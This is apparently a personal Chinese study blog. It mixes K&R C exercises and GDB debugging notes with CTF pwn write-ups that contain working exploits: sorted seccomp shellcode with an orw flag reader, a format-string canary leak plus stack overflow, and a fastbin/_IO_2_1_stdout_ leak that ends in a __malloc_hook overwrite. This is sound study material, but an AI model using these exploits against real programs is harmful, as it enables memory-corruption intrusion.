7.2 格式化输出 printf函数123456789#include <stdio.h>int main(){ char *s = "hello,lihua"; printf(s); //格式化字符串漏洞不就是这么来的嘛... printf("\n"); printf("%s\n",s);}
7.3 变长参数表1234567891011121314151617181920212223242526272829303132333435363738394041#include <stdarg.h>void minprintf(char *fmt, ...){ va_list ap; char *p, *sval; int ival; double dval; va_start(ap, fmt); for (p= fmt; *p; p++) { if( *p!='%'){ //为啥只取一个字符呢 putchar(*p); continue; } switch(*++p){ case 'd': ival = va_arg(ap,int); printf("%d", ival); break; case 'f': dval = va_arg(ap, double); printf("%f",dval); break; case 's': for (sval = va_arg(ap, char *); *sval; sval++) putchar(*sval); break; default: putchar(*p); break; } } va_end(ap);}int main(){ minprintf("hello,wolrd:%d,%s\n",1,"ooo");}
7.4 格式化输入 scanf函数1234567891011#include <stdio.h>int main(){ double sum, v; sum = 0 ; while( scanf("%lf", &v) == 1) printf("\t%.2f\n",sum+=v); return 0;}
12345678910#include <stdio.h>int main(){ int day,month,year; scanf("%d/%d/%d",&month,&day,&year); printf("%d年%d月%d日\n",year,month,day); return 0;}
7.5 文件访问 这里和pwn的iofile关系很大
1234567891011121314151617181920212223242526#include <stdio.h>int main(int argc, char *argv[]){ FILE *fp; void filecopy(FILE *, FILE *); if (argc == 1) filecopy(stdin,stdout); //没有命令行参数、复制标准输入 else while(--argc > 0) if((fp = fopen(*++argv,"r")) == NULL){ printf("cat: can't open %s\n",*argv); return 1; }else{ filecopy(fp,stdout); fclose(fp); } return 0;}// 将文件ifp复制到文件ofpvoid filecopy(FILE *ifp,FILE *ofp){ int c; while( (c = getc(ifp))!=EOF) putc(c,ofp);}
gdb调试一下 , 可以结合之前看的open什么的那个链来学习一下
7.6 错误处理 增加了stderr
123456789101112131415161718192021222324252627282930313233#include <stdio.h>#include <stdlib.h> // exit函数int main(int argc, char *argv[]){ FILE *fp; void filecopy(FILE *, FILE *); char *prog = argv[0]; if (argc == 1) filecopy(stdin,stdout); else while(--argc > 0) if((fp = fopen(*++argv,"r")) == NULL){ fprintf(stderr," %s: can't open %s\n",prog,*argv); exit(1); }else{ filecopy(fp,stdout); fclose(fp); } if (ferror(stdout)) { fprintf(stderr,"%s: error writing stdout\n", prog); exit(2); } exit(0);}// 将文件ifp复制到文件ofpvoid filecopy(FILE *ifp,FILE *ofp){ int c; while( (c = getc(ifp))!=EOF) putc(c,ofp);}
7.7 行输入和行输出7.8 特别有用的函数(更详细的在附录b中)EOF与空白符号的区别
这是空白符号, EOF是-1
123456' ' (0x20) space (SPC) 空格符'\t' (0x09) horizontal tab (TAB) 水平制表符 '\n' (0x0a) newline (LF) 换行符'\v' (0x0b) vertical tab (VT) 垂直制表符'\f' (0x0c) feed (FF) 换页符'\r' (0x0d) carriage return (CR) 回车符
12345678910111213141516171819#include <stdio.h>#include <stdlib.h>int main(){ FILE *fp; int c; fp = fopen("./flag","r"); //write(1,fp,20); while(1) { c = fgetc(fp); if(feof(fp)) break; printf("%c",c); } fclose(fp); return 0;}
pwn入门-45-10月月赛两题
题目文件: 本链接+./sorted ./ezpwn
总结下来就是基础太不牢固了,很多小点都不清楚,浪费时间,每次遇到后都要尽量及时解决,查缺补漏。
sorted123456789101112131415161718192021222324int __cdecl main(int argc, const char **argv, const char **envp){ int i; // [rsp+0h] [rbp-10h] int j; // [rsp+4h] [rbp-Ch] void *dest; // [rsp+8h] [rbp-8h] sandbox(); puts("Just give you ten seconds before you DIE!"); dest = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); for ( i = 10; i > 0; --i ) { printf("%d!\n", (unsigned int)i); scanf("%d", &DIEnum[i]); } puts("Before you die,I must do something."); std::sort<int *>(&unk_203044, &unk_20306C); puts("let's see what'U have said"); for ( j = 1; j <= 10; ++j ) printf("%d\n", DIEnum[j]); puts("Hahahahahaha!Now,taste the fear"); memcpy(dest, DIEnum, 0x100uLL); ((void (*)(void))dest)(); return 0;}
12345678910111213141516171819202122232425262728293031323334353637383940414243444546#include<bits/stdc++.h>#include<sys/prctl.h>#include<linux/seccomp.h>#include<linux/filter.h>#include<unistd.h>#include <sys/mman.h>int DIEnum[20];void sandbox(){ struct sock_filter filter[] = { BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4), BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2), BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0), BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])), .filter = filter, }; prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0); prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);}int main(){ sandbox(); puts("Just give you ten seconds before you DIE!"); char* v1=(char *)mmap(0,0x1000,7,34,-1,0ll); for(int i=10;i>=1;--i){ printf("%d!\n",i); scanf("%d",&DIEnum[i]); } puts("Before you die,I must do something."); std::sort(DIEnum+1,DIEnum+11); puts("let's see what'U have said"); for(int i=1;i<=10;++i){ printf("%d\n",DIEnum[i]); } puts("Hahahahahaha!Now,taste the fear"); memcpy(v1,DIEnum,0x100); ((void (*) (void)) v1)(); return 0;}
题目分析 打眼一看就发现是一个排序,但是由于自己对端续、有符号数、内存值等一些概念不清楚、晕乎了很常见。
首先这道题并不是要找一个最小化的shellcode,直接拿shell(应该是可以绕过的把,),因为排序的因素,直接拿shell排序会比较难,不如先read进来,没限制了,再干其他的。
沙箱 有沙箱保护 seccomp-tools dump ./rop
execve类似的还有吧 execveat
123456789 line CODE JT JF K================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
if (A >= 0x40000000) goto 0006 没有这个哦
https://www.anquanke.com/post/id/219077
http://shell-storm.org/shellcode/files/shellcode-905.html
这里有一个比较短的execveat的shellcode,但是,仍然比较难排序,因为指令太多了,而且有个长指令必须连起来
如果不绕过的话就 orw了
对 ((void (*)(void))dest)()的理解dest怎么理解呢,(还好要到了原题,不然。。也可以自己再写一遍的。。都问题不大,多动手!)
其实就是存放的shellcode的地址,然后当成函数,直接调用这个位置的指令,(就是函数指针)
((void (*)(void))dest)() , 将dest转换为一个函数指针 ,函数不带参数,且无返回值
call rax, 然后就可以执行shellcode吗
rax里存放的是shellcode那里的起始地址,也就是将要执行的指令的地址,call会做两件事,一件是把当前的下一条指令压栈,另外一件是把rax指向的地址赋值给rip(类似于jmp)
思路 长度还有限制,所以应该是先通过一个read片段,把后续代码读入mmap的空间(不会受排序影响),然后再跳转过去即可。
注意可以利用的信息,rdi存储着mmap的地址,可以利用
这里有个细节,读入的地址不要和要执行的jmp重合, 很容易覆盖到jmp那里,影响指令,所以需要往后写,比如rdi+0x100
shellcode 排序64位系统调用规则: rax是系统调用号,参数和函数的一样,rdi、rsi、rdx。。
00也会被解释的,所以需要补齐,用0x90 nop 0xfc cld这种指令,并且可以利用他们来调整顺序
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657read(0,buf,0x100) 48 8b df mov rbx,rdi //把要写的地址传给rbx(因为rbx在其他地方用不到)31 d2 xor edx,edx //为什么不是rdx呢b6 01 mov dh,0x1 //一方面设置第三个参数 0x100,也就是read的大小,48 01 d3 add rbx,rdx //另一方面可以让rbx+0x100,31 C0 xor eax,eax //为什么不是rax, read系统调用号是031 ff xor edi,edi // 第一个参数0 ,标准输入48 89 de mov rsi,rbx //第二个参数,buf地址0f 05 syscallff e6 jmp rbx //跳转到后续shellcode地址 所以问什么不48 89 fe mov rsi,rdi //把要写的地址传给rbx(因为rbx在其他地方用不到)31 d2 xor edx,edxb6 01 mov dh,0x1 //一方面设置rdx为0x100,也就是read的大小,48 01 d6 add rsi,rdx //另一方面可以让rbx+0x100,31 C0 xor eax,eax 31 ff xor edi,edi // 第一个参数0 ,标准输入0f 05 syscallff e6 jmp rsi //跳转到后续shellcode地址 注意字节序是反的 0xfe89480xd2310x01b60xd601480xc0310xff310x050f0xe6ff 排序有几个注意点1.负数是自身绝对值越大, 数值越大吗。。(是的把,按位取反加1,看起来越大的值,补码越小,再加符号,越大,)(有空再看看。。2.谁必须在谁前面 一个90,一个fc就可以保证了3.syscall和jmp rsi必须在最后(fcfc就可以保证了,其他的最大fc90) 0x90fe89480x9090d2310x90fc01b60xfcd601480xfc90c0310xfc90ff310xfcfc050f0xfcfce6ff0x7fffffff0x7fffffff -1869557199 -1862532682 -1862366904 -57622479 -57606351 -53083832 -50592497 -50534657 2147483647 2147483647
同学的:
写一个脚本辅助生成(其实就是模拟题目) 这里是不是可以用cap那个工具 显示指令(埋个坑吧)、以及连起来更多的,一键生成exp
12345678910111213141516171819202122232425262728#include <bits/stdc++.h>#include <unistd.h>#include <sys/mman.h>int DIEnum[20];int main(){ puts("10"); char* v1=(char *)mmap(0,0x1000,7,34,-1,0ll); for (int i=0;i<=9;i++){ scanf("%x",&DIEnum[i]); } printf("未排序前结果:\n"); for (int i=0;i<=9;i++){ printf("%d\n",DIEnum[i]); } std::sort(DIEnum,DIEnum+10); printf("排序后结果:\n"); for (int i=0;i<=9;i++){ printf("0x%-16x %d\n",DIEnum[i],DIEnum[i]); } printf("输入的值:\n"); for (int i=0;i<=9;i++){ printf("%d ",DIEnum[i]); } return 0;}
二段shellcode这里应该就随意了,生成一个orw的就可以了
1234567891011121314from pwn import *# 设置目标架构为x86-64context.arch = 'amd64'# 默认的是大端序,可以修改context.endian = 'little'shellcode = shellcraft.open("./flag")shellcode += shellcraft.read("rax","rsp",100)shellcode += shellcraft.write(1,"rsp",100)print(asm(shellcode))
最终exp123456789101112131415161718192021222324252627282930from pwn import *# 设置目标架构为x86-64context.arch = 'amd64'# 默认的是大端序,可以修改context.endian = 'little'io = process('./sorted')context(os='linux',log_level="debug")context.terminal = ['tmux', 'splitw', '-h']gdb.attach(io)io.sendline(b'-1869557199 -1862532682 -1862366904 -57622479 -57606351 -53083832 -50592497 -50534657 2147483647 2147483647')#pause()'''sc_elf = ELF('b.out')sc = sc_elf.get_section_by_name('.shellcode').data()print(sc)'''sc = b'hflagH\x89\xe71\xd21\xf6j\x02X\x0f\x05\x89\xc71\xc0j ZH\x89\xe6\x0f\x05j\x01_j ZH\x89\xe6j\x01X\x0f\x05\xcc'#pause()shellcode = shellcraft.open("./flag")shellcode += shellcraft.read("rax","rsp",100)shellcode += shellcraft.write(1,"rsp",100)io.send(flat({ 0: asm(shellcode), 0x100: [],}))io.interactive()
各种疑惑问: 为什么-490631024 读入内存会成为 0xe2c19090
答: 负数会采用补码来存储
问: 为什么前期用python得到的数 输入进去奇奇怪怪
答:0xfcffffff scanf %d 读取的时候,会解释为负数,所以 不能用python里的直接数值转换来得到题目要输入的值(怪不得前期一直不对。。)
12345678910value = 0xfcffffff if 0xfcffffff < 0x80000000 else 0xfcffffff - 0x100000000print(value)这样就对了或者import structdata = struct.pack("I", 0xfcffffff) # 将无符号整数打包为二进制数据value = struct.unpack("i", data)[0] # 将二进制数据解析为有符号整数print(value)
怎么比较好的在gdb中查看shellcode的汇编呢
display /20i $pc
https://blog.csdn.net/counsellor/article/details/100034080
https://amritabi0s.wordpress.com/2017/10/23/hack-lu-ctf-bit-writeup/
pwntools的使用123456789101112131415161718192021222324252627282930313233343536373839404142from pwn import *# 设置目标架构为x86-64context.arch = 'amd64'# 默认的是大端序,可以修改context.endian = 'little'shellcode = shellcraft.sh() # 指令字符串shellcodeasm = asm(shellcraft.sh()) # 二进制数据# 使用 disasm 函数查看每一行汇编指令的十六进制值disassembled = disasm(shellcodeasm)# 分割每一行汇编指令instructions = disassembled.split('\n')# 打印每一行指令及其十六进制值for instruction in instructions: print(instruction)# 打印整个shellcode的十六进制值print(shellcodeasm.hex())# 如何打印指定汇编指令的16进制值assembly_code = "mov eax,0x123"hex_assembly = asm(assembly_code)hex_assembly_code = asm(assembly_code).hex()hex_assembly_1 = disasm(hex_assembly)print(f"汇编指令二进制表示: {hex_assembly}")print(f"汇编指令的十六进制表示: {hex_assembly_code}")print(f"汇编指令: {hex_assembly_1}")## shellcraft的各种使用方法shellcraft.read()
pwn asm汇编器
https://leeyuxun.github.io/pwntools%E6%A8%A1%E5%9D%97%E6%80%BB%E7%BB%93.html
https://zero-mk.github.io/2019/01/01/pwntools-Command%20Line%20Tools/
123pwn asm "mov eax,0x1"b801000000
ez_pwn1234567891011121314151617int __cdecl main(int argc, const char **argv, const char **envp){ char buf[32]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); puts("input your name"); fflush(_bss_start); read(0, buf, 0x20uLL); puts("hello: "); fflush(_bss_start); printf(buf); puts("leave some message"); fflush(_bss_start); read(0, buf, 0x48uLL); return 0;}
主要是有个canary,把canary泄露出来就可以了,普通栈溢出,利用格式化字符串来泄露canary,注意前六个参数是在寄存器里的值呀。
然后接收的时候注意先把hello:什么的接收了,
1234567891011[DEBUG] Received 0x10 bytes: b'input your name\n'[DEBUG] Sent 0x6 bytes: b'%11$p\n'b'\n'[DEBUG] Received 0x2e bytes: b'hello: \n' b'0x2535be38a9253e00\n' b'leave some message\n'b'hello: \n'
exp12345678910111213141516171819202122232425from pwn import *context(os='linux',log_level="debug")p = process("ezpwn")context.terminal = ['tmux', 'splitw', '-h']#gdb.attach(p)p.recvuntil("name")#p.sendline(b"a"*32)p.sendline(b"%11$p")print(p.recvline())print(p.recvline())canary = int(p.recvline()[:-1],16)print("canary:",hex(canary))print("canary:",canary)#pause()p.recvuntil("message")payload = b"a"*40 +p64(canary) + p64(0x123456) + p64(0x4012b0)+p64(0x4011d6)#pause()p.send(payload)#pause()p.recv(1024)p.interactive()
关于格式化字符串传参:传递10个参数看看
12345#include <stdio.h>void main(){ printf("1:%s 2:%s 3:%s 4:%s 5:%s 6:%s 7:%s 8:%s 9:%s\n","1aaa","2bbb","3ccc","4ddd","5eee","6fff","7ggg","8hhh","9iii");}
rdi、rsi、rdx、rcx、r8、r9
可以看到前5个在寄存器,后面在栈里,从rsp开始
12345678910111213141516171819202122232425262728*RAX 0x0 RBX 0x5555555551b0 (__libc_csu_init) ◂— endbr64 RCX 0x555555556012 ◂— 0x6262320063636333 /* '3ccc' */ RDX 0x555555556017 ◂— 0x6161310062626232 /* '2bbb' */ RDI 0x555555556028 ◂— '1:%s 2:%s 3:%s 4:%s 5:%s 6:%s 7:%s 8:%s 9:%s\n' RSI 0x55555555601c ◂— 0x61616131 /* '1aaa' */ R8 0x55555555600d ◂— 0x6363330064646434 /* '4ddd' */ R9 0x555555556008 ◂— 0x6464340065656535 /* '5eee' */ R10 0x3 R11 0x0 R12 0x555555555060 (_start) ◂— endbr64 R13 0x7fffffffe5a0 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffe4b0 ◂— 0x0 RSP 0x7fffffffe490 —▸ 0x555555556065 ◂— 0x100000066666636 /* '6fff' */*RIP 0x5555555551a0 (main+87) ◂— call 0x555555555050 00:0000│ rsp 0x7fffffffe490 —▸ 0x555555556065 ◂— 0x100000066666636 /* '6fff' */01:0008│ 0x7fffffffe498 —▸ 0x555555556060 ◂— 0x6666360067676737 /* '7ggg' */02:0010│ 0x7fffffffe4a0 —▸ 0x55555555605b ◂— 0x6767370068686838 /* '8hhh' */03:0018│ 0x7fffffffe4a8 —▸ 0x555555556056 ◂— 0x6868380069696939 /* '9iii' */04:0020│ rbp 0x7fffffffe4b0 ◂— 0x005:0028│ 0x7fffffffe4b8 —▸ 0x7ffff7de4083 (__libc_start_main+243) ◂— mov edi, eax06:0030│ 0x7fffffffe4c0 —▸ 0x7ffff7ffc620 (_rtld_global_ro) ◂— 0x50f7a0000000007:0038│ 0x7fffffffe4c8 —▸ 0x7fffffffe5a8 —▸ 0x7fffffffe7f4 ◂— '/home/ubuntu/c/a.out'
问题类似的题
https://blog.csdn.net/tbsqigongzi/article/details/124371294
这个为什么进入ret了,但是失败了? ret栈平衡?
fflush(_bss_start);有什么用呢
盛格塾课程-拍案惊奇GDB以战说法1-谁截断了我的指针?
前言 之前知道老师是因为《软件调试》这本书,非常厉害,但是因为主要是windows的一直还没读(因为主要学习Linux,不过最近越发感觉不能局限于一个系统),最近看见一个大佬在朋友圈转发这个课,才发现张老师原来是有自己的公司和培训,看了下来太牛了,立马报名了。
(老师b站也有号, 官网nanocode.cn,) 还有其他很多优秀的课程,看来要好好买一波了..这才是真正有价值的知识付费!!
背景 老师将实际案例中的一个问题抽象出了一个很简单的demo, 用于搜索argv[0]的名字, 其实也就是当前可执行程序的名字,本身看着这个代码是没有什么问题的(不,有问题,没有include parser.c)
parser.c
123456789// parser.c#include <string.h>const char * get_name(const char* full_path){ const char * sep = strrchr(full_path, '/'); return (sep == NULL)? "errname": sep+1; }
ptrtrap.c
123456789101112#include <stdio.h>int main(int argc, char* argv[]){ char* name = get_name(argv[0]); printf("Demo of pointer trap by Raymond.\n"); printf("Name: %s\n", name); return 0;}
在编译的时候会给出一个警告
gcc -g ptrtrap.c parser.c
1234567root@VM-4-8-ubuntu:/home/ubuntu/youlan# gcc -g ptrtrap.c parser.cptrtrap.c: In function ‘main’:ptrtrap.c:5:22: warning: implicit declaration of function ‘get_name’; did you mean ‘rename’? [-Wimplicit-function-declaration] 5 | char* name = get_name(argv[0]); | ^~~~~~~~ | renameptrtrap.c:5:22: warning: initialization of ‘char *’ from ‘int’ makes pointer from integer without a cast [-Wint-conversion]
运行的时候会发生段错误
Program received signal SIGSEGV, Segmentation fault
段错误,访问了不该访问的
调试分析回溯粗看 朱熹的不远复:“不远复”,出自《易经》“不远之复,以修身也”。和孔子的吾日三省吾身有异曲同工之妙,人要不断反思自己,反省走的路.
bt命令回溯 调用栈 , 库函数一般都经过很多修改和测试、一般没问题,所以更多的还是自己写的代码的问题
可以减少bt的显示,如 bt -frame-info short-location 不带源代码位置
frame 3查看自己写的函数里的栈帧的情况, list查看源代码, 这样就能够看到上下文, disass查看汇编
所以能够看到问题是在 call printf这里,产生了问题, 也就是传入的name有问题
问: __printf为什么带下划线?
答: 因为__printf是libc实现的, _ _通常是编译器的函数 编译器的优化?
info shared查看进程里的库, ld负责把程序从外存搬运到内存, libc负责实现标准库函数
1234pwndbg> info sharedFrom To Syms Read Shared Object Library0x00007ffff7fc5090 0x00007ffff7fee315 Yes /lib64/ld-linux-x86-64.so.20x00007ffff7daf700 0x00007ffff7f41b3d Yes /lib/x86_64-linux-gnu/libc.so.6
函数从哪里开始执行? elf从哪里开始呢,不是main 是_start(), bt有个选项 -past-main查看main函数之前的,有的默认开启了
__libc_start_call_main 用来做准备工作?
细看崩溃指令 来到崩溃的那一行汇编来看看什么情况,这里指向的含义是 尝试执行这条指令,但是失败了
vpcmpeqb指令
[rdi]是引用内存, 此时的rdi的值是0xffffffffffffe7db,我们来看一下内存的情况,用info inferiors命令,查看进程,然后从proc里看内存(pwndbg可以直接vmmap)
从这里看地址就能看出来,是无效地址, 用户空间的大小早超了(所以说每个细节都需要关注)
123456789101112131415161718192021222324252627pwndbg> info inferiors Num Description Connection Executable* 1 process 1269337 1 (native) /home/ubuntu/youlan/a.outpwndbg> !cat /proc/1269337/maps555555554000-555555555000 r--p 00000000 fc:02 822041 /home/ubuntu/youlan/a.out555555555000-555555556000 r-xp 00001000 fc:02 822041 /home/ubuntu/youlan/a.out555555556000-555555557000 r--p 00002000 fc:02 822041 /home/ubuntu/youlan/a.out555555557000-555555558000 r--p 00002000 fc:02 822041 /home/ubuntu/youlan/a.out555555558000-555555559000 rw-p 00003000 fc:02 822041 /home/ubuntu/youlan/a.out555555559000-55555557a000 rw-p 00000000 00:00 0 [heap]7ffff7d84000-7ffff7d87000 rw-p 00000000 00:00 07ffff7d87000-7ffff7daf000 r--p 00000000 fc:02 29791 /usr/lib/x86_64-linux-gnu/libc.so.67ffff7daf000-7ffff7f44000 r-xp 00028000 fc:02 29791 /usr/lib/x86_64-linux-gnu/libc.so.67ffff7f44000-7ffff7f9c000 r--p 001bd000 fc:02 29791 /usr/lib/x86_64-linux-gnu/libc.so.67ffff7f9c000-7ffff7fa0000 r--p 00214000 fc:02 29791 /usr/lib/x86_64-linux-gnu/libc.so.67ffff7fa0000-7ffff7fa2000 rw-p 00218000 fc:02 29791 /usr/lib/x86_64-linux-gnu/libc.so.67ffff7fa2000-7ffff7faf000 rw-p 00000000 00:00 07ffff7fbb000-7ffff7fbd000 rw-p 00000000 00:00 07ffff7fbd000-7ffff7fc1000 r--p 00000000 00:00 0 [vvar]7ffff7fc1000-7ffff7fc3000 r-xp 00000000 00:00 0 [vdso]7ffff7fc3000-7ffff7fc5000 r--p 00000000 fc:02 2337 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27ffff7fc5000-7ffff7fef000 r-xp 00002000 fc:02 2337 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27ffff7fef000-7ffff7ffa000 r--p 0002c000 fc:02 2337 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27ffff7ffb000-7ffff7ffd000 r--p 00037000 fc:02 2337 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27ffff7ffd000-7ffff7fff000 rw-p 00039000 fc:02 2337 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.27ffffffde000-7ffffffff000 rw-p 00000000 00:00 0 [stack]ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]
何人传来无效指针? 库函数出问题概率很低,所以找自己写的函数. 我们知道问题出在name变量上
frame 3 、然后用 p name 、info locals 都能看到是无效的
info frame 看函数的栈帧信息
既然是name错了 它哪里来的? get_name,
get_name调试 设置get_name的断点进行调试
返回值看rax(通常通用寄存器第一个存返回值),rax在返回的时候是没问题的,那哪里出问题了。。此时事情就很奇怪了
返回后执行ni, 单步一下,再看值,就错了
答案揭晓 问题就出在这一条指令上,它改变了值的大小
cdqe: 扩展指令,使用eax的最高位拓展rax高32位的所有位
x86下和arm不太一样, sxtw这条指令有问题(arm下
这是编译器故意产生的指令,和没有include这个函数有关系,再深入的..就先放放
问题与知识补充
include进来就没问题了
#include “parser.c”
但是有个新的warning
32位下编译没问题
为什么会有一个nop指令
nop插桩
如何跑arm系统macbook直接可以
x86怎么装?:看样子基本上离不开qemu
云服务器买
https://blog.csdn.net/chenxiangneu/article/details/78955462
设置符号服务器?
失败了如何再执行?info signal
info handle
handle SIGSEGV nopass (不给应用程序
再跑一遍又会收到这个信号
smd指令。。。
用户空间 内核空间大小
pwn入门-44-houseofroman
在一次比赛中遇到了堆题,没有show函数,懵逼了…当时有略过一丝思路通过io stdout输出,但奈何这方面知识了解还不多(不过确实可以通过搜索引擎 搜索关键字来找到这种手法)
(后来发现这是n年前的手法了😭,
例题npuctf_2020_bad_guy
题目分析经典菜单堆,但是没有show
1234567891011121314151617181920212223242526272829303132333435363738394041int __cdecl __noreturn main(int argc, const char **argv, const char **envp){ int num; // eax prog_init(argc, argv, envp); while ( 1 ) { while ( 1 ) { puts("=== Bad Guy ==="); puts("1. Malloc"); puts("2. Edit"); puts("3. Free"); printf(">> "); num = read_num(); if ( num != 2 ) break; edit(); } if ( num > 2 ) { if ( num == 3 ) { delete(); } else { if ( num == 4 ) exit(0);LABEL_13: puts("2333, Bad Guy!"); } } else { if ( num != 1 ) goto LABEL_13; add(); } }}
结构体1234struct { int size; char *content;} heaparray;
add12345678910111213141516171819ssize_t add(){ unsigned __int64 num; // [rsp+0h] [rbp-10h] __int64 size; // [rsp+8h] [rbp-8h] printf("Index :"); num = read_num(); printf("size: "); size = read_num(); *((_QWORD *)&heaparray + 2 * num + 1) = malloc(size); if ( !*((_QWORD *)&heaparray + 2 * num + 1) || num > 0xA ) { puts("Bad Guy!"); exit(1); } *((_QWORD *)&heaparray + 2 * num) = size; printf("Content:"); return read(0, *((void **)&heaparray + 2 * num + 1), size);}
heaparray是存放分配堆块的指针的
1234pwndbg> tele 0x55555560204000:0000│ 0x555555602040 (heaparray) ◂— 0x1401:0008│ 0x555555602048 (heaparray+8) —▸ 0x555555400ced (add+92) ◂— mov rdx, qword ptr [rbp - 0x10]02:0010│ 0x555555602050 (heaparray+16) ◂— 0x0
deletefree过后 也置0了
如果不置0,那free是干了什么..我记得是..
12345678910111213141516171819int delete(){ _QWORD *v0; // rax unsigned __int64 num; // [rsp+8h] [rbp-8h] printf("Index :"); num = read_num(); if ( *((_QWORD *)&heaparray + 2 * num + 1) || num > 0xA ) { free(*((void **)&heaparray + 2 * num + 1)); v0 = (_QWORD *)((char *)&heaparray + 16 * num + 8); *v0 = 0LL; } else { LODWORD(v0) = puts("Bad Guy!"); } return (int)v0;}
edit1234567891011121314151617181920int edit(){ unsigned __int64 num; // [rsp+0h] [rbp-10h] __int64 nbytes; // [rsp+8h] [rbp-8h] if ( count <= 0 ) { puts("Bad Guy!"); exit(1); } --count; printf("Index :"); num = read_num(); printf("size: "); nbytes = read_num(); if ( !*((_QWORD *)&heaparray + 2 * num + 1) || num > 9 ) return puts("Bad Guy!"); printf("content: "); return read(0, *((void **)&heaparray + 2 * num + 1), nbytes);}
这里是漏洞点,可以读入任意的大小
alarm 把值给改了
123456789pwndbg> niProgram received signal SIGALRM, Alarm clock.0x0000555555400ced in add ()LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA─────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────*RAX 0x555555602040 (heaparray) ◂— 0x0 RBX 0x0*RCX 0x555555400ced (add+92) ◂— mov rdx, qword ptr [rbp - 0x10]
123456unsigned int prog_init(){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); return alarm(0x3Cu);}
思路开了pie,应该先想办法泄漏地址,然后用onegadget覆盖malloc_hook等即可
泄露地址 利用io stdout进行泄漏、(前期方便调试可以本地先关闭alsr)
具体来说,要构造堆块重叠(类似double free感觉?如果不够造但是可以直接修改地址吗不是), 修改_IO_2_1_stdout _的flags值(原理在最后) ,然后就可以泄露地址了
构造四个堆块,free掉0x60的2号,然后利用edit的漏洞把1大小改为0x90,然后释放,然后通过malloc一个0x10大小堆块,使得剩余的堆块与释放的2号堆块重叠
重叠的目的是把unsortedbin的fd的地址放到fastbin地址那里,让fastbin能利用这个地址进行申请
123456789101112malloc(0,0x10) malloc(1,0x10) malloc(2,0x60) malloc(3,0x10) free(2) payload = p64(0)*3 + p64(0x91)# + p64(0) * 3 + p64(0x91) edit(0,len(payload),payload) free(1) #pause() malloc(4,0x10) #pause()
没有malloc 0x10前,可以看到fastbin的位置,以及它的fd是没有值的
malloc后
将后四字节修改为0x255,然后malloc两次就可以分到_IO_2_1_stdout _上面的位置,之所以要分配0x25dd那里,是因为要满足堆的大小检查要求
1234567payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p16(0x25dd) #* 3 + p64(0x91) edit(0,len(payload),payload) #pause() malloc(5,0x60) #pause() payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0) malloc(6,0x60,payload)
不满足要求的话会报错 Error in `./npuctf_2020_bad_guy’: malloc(): memory corruption (fast): 0x00007ffff7dd25f5 ,这一块等分析源码的时候再细看
malloc完之后,_IO_2_1_stdout的flags就被修改了, 也就是要修改对应flag的值 和 _IO_write_base, _IO_write_ptr, _IO_write_end等 就会自动输出缓存区的信息??????
然后就会泄露libc地址了,泄漏的地址是多少呢,是0x7ffff7dd2600,为啥呢?,减去偏移就得到了基址
payload = 0x33 * p8(0) + p64(0xfbad800) + p64(0)*3 + p8(0)
(0x33 = 51 = 6*8 + 3) + 2 * 8 +1 = 8 * 8 + 4
从 0xed那里开始输入数据, 0x33 * p8(0) = 51, 而0x2620-0x25ed正好是51
故伎重演,替换malloc_hook为onegadget 此时堆的布局的话,还有一个0x60大小的unsortedbin, 分了再free放进fastbin, 此时有地址了,就不需要那么麻烦再利用unsortedbin的地址了,直接edit修改就可以了,然后两次malloc把__malloc_hook那里改为onegadget
12345678malloc(7,0x60) #pause() free(7) payload = p64(0)*3 + p64(0x21) + p64(0)*3 + p64(0x71) + p64(libc.symbols['__malloc_hook'] - 0x23) #* 3 + p64(0x91) edit(0,len(payload),payload) malloc(8,0x60) payload = 0x13 * p8(0) + p64(libc.offset_to_vaddr(one[3])) malloc(9,0x60,payload)
如何开启了alsr 如何爆破呢 学到了, 这样获取错误, 以前自己写循环tryexcept这里一直有问题,回头可以试试用这里的是否可以
123456789101112while 1: try: pwn() break except KeyboardInterrupt: p.close() p = remote("node4.buuoj.cn","27593") #p = process(binary) except : p.close() #p = process(binary) p = remote("node4.buuoj.cn","27593")
枚举的话, 不用增加点偏移吗, 或者说偏移也有可能是0?
一些细节libc的版本 做题的话注意一下版本,buuctf用的是2.23-0ubuntu11_amd64,这个版本我在网上没找到,找到的没符号,自己编译的还报错(用ubuntu20编译的,不知道16是不是可以)
不同版本偏移不一样
但是那个2.23- 多少是一样的
exp用的这位师傅的: https://blog.csdn.net/csdn546229768/article/details/123717993
